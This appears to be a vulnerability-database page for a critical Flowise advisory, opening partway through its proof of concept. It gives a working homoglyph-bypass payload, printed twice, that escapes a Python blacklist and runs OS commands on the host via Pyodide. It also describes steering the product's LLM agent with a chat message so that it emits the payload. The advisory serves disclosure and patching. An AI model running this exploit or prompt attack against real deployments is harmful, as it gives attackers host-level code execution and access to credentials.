base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
})()

Run output on a stock host:

validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED

Live path against a Flowise deployment: 1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent. 2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for __class__, __subclasses__, __base__, and __builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. 3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.

Impact

Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

Severity

9.5 (Critical)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T17:31:09Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide\u0027s js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).\n\n### Details\npackages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:\n\n```ts\n{ pattern: /\\bimport\\b/g, ... },\n{ pattern: /\\b__class__\\b/g, ... },\n{ pattern: /\\b__subclasses__\\s*\\(/g, ... },\n{ pattern: /\\b__builtins__\\b/g, ... },\n{ pattern: /\\b__mro__\\b/g, ... },\n// ... about 30 similar rules\n```\n\nTwo design flaws combine into a bypass:\n\n1. JavaScript regex `\\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\\b__class__\\b` never matches `__cl\ud835\udc1ass__`.\n2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl\ud835\udc1ass__`, `__subcl\ud835\udc1asses__`, `__b\ud835\udc1ase__`, `__b\ud835\udc2eiltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents.\n\nAttribute access `obj.__cl\ud835\udc1ass__` is normalized because attribute names are identifiers. Dict string keys such as `bi[\u0027__import__\u0027]` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\\bimport\\b` or `\\b__import__\\s*\\(/`.\n\nFrom inside Pyodide, `__builtins__[\u0027__import__\u0027](\u0027js\u0027)` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require(\u0027child_process\u0027).execSync`, which runs native commands on the host with the privileges of the Flowise process.\n\nAffected call sites:\n- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches `pyodide.runPythonAsync(code)` on line 209.\n- packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197.\n\nThe original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac\u0027s follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.\n\n### PoC\nStandalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host:\n\n```js\n// npm install pyodide\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst FORBIDDEN_PATTERNS = [\n  { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g }, { pattern: /\\bimport\\b/g },\n  { pattern: /\\beval\\s*\\(/g }, { pattern: /\\bexec\\s*\\(/g },\n  { pattern: /\\bcompile\\s*\\(/g }, { pattern: /\\b__import__\\s*\\(/g },\n  { pattern: /\\bopen\\s*\\(/g }, { pattern: /\\bgetattr\\s*\\(/g },\n  { pattern: /\\bos\\./g }, { pattern: /\\bsubprocess\\./g },\n  { pattern: /\\bsys\\./g }, { pattern: /\\bsocket\\./g },\n  { pattern: /\\burllib\\./g }, { pattern: /\\brequests\\./g },\n  { pattern: /\\b__builtins__\\b/g }, { pattern: /\\b__class__\\b/g },\n  { pattern: /\\b__subclasses__\\s*\\(/g }, { pattern: /\\b__bases__\\b/g },\n  { pattern: /\\b__mro__\\b/g }, { pattern: /\\b__globals__\\b/g },\n  { pattern: /\\b__code__\\b/g }, { pattern: /\\b__dict__\\b/g },\n]\nconst validate = (code) =\u003e FORBIDDEN_PATTERNS.every(p =\u003e { p.pattern.lastIndex = 0; return !p.pattern.test(code) })\n\nconst payload = `\ncls = ().__cl\\u{1D41A}ss__\nbase = cls.__b\\u{1D41A}se__\nsubs = base.__subcl\\u{1D41A}sses__()\nfor c in subs:\n    if c.__name__ == \u0027catch_warnings\u0027:\n        cw = c()\n        bi = cw._module.__b\\u{1D42E}iltins__\n        imp_name = chr(95)*2 + \u0027imp\u0027 + \u0027ort\u0027 + chr(95)*2\n        imp = bi[imp_name]\n        js_mod = imp(chr(106)+chr(115))\n        cp_name = \u0027child\u0027 + chr(95) + \u0027process\u0027\n        cp = js_mod.process.mainModule.require(cp_name)\n        opts = js_mod.Object.new(); opts.encoding = \u0027utf8\u0027\n        result = cp.execSync(\u0027id \u0026\u0026 hostname \u0026\u0026 echo FLOWISE_RCE_CONFIRMED\u0027, opts)\n        break\nstr(result)\n`\n\n;(async () =\u003e {\n  console.log(\u0027validator passes:\u0027, validate(payload))   // true\n  const py = await loadPyodide()\n  console.log(await py.runPythonAsync(payload))\n})()\n```\n\nRun output on a stock host:\n\n```\nvalidator passes: true\nuid=0(root) gid=0(root) groups=0(root)\n\u003chostname\u003e\nFLOWISE_RCE_CONFIRMED\n```\n\nLive path against a Flowise deployment:\n1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.\n2. For the LLM-generated path: send a chat message via `POST /api/v1/prediction/{chatflowId}` that instructs the model to answer in Python using mathematical bold letters for `__class__`, `__subclasses__`, `__base__`, and `__builtins__`, following the structure above. The model\u0027s output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.\n3. For the direct path: a workspace user with chatflow edit rights sets `customReadCSV` to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.\n\n### Impact\nAny user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.",
  "id": "GHSA-52fh-8v99-63c2",
  "modified": "2026-08-04T17:31:09Z",
  "published": "2026-08-04T17:31:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE"
}

WID-SEC-W-2026-2589

Vulnerability from csaf_certbund - Published: 2026-07-29 22:00 - Updated: 2026-08-04 22:00

Summary

Flowise: Mehrere Schwachstellen

Severity

Hoch

Scope

22 vulnerabilities in this advisory, including CVE-2026-70470.

CVE-2026-70470

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-70470 (GCVE-0-2026-70470)

FKIE_CVE-2026-70470

GHSA-52FH-8V99-63C2

Summary

Details

PoC

Impact

WID-SEC-W-2026-2589

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour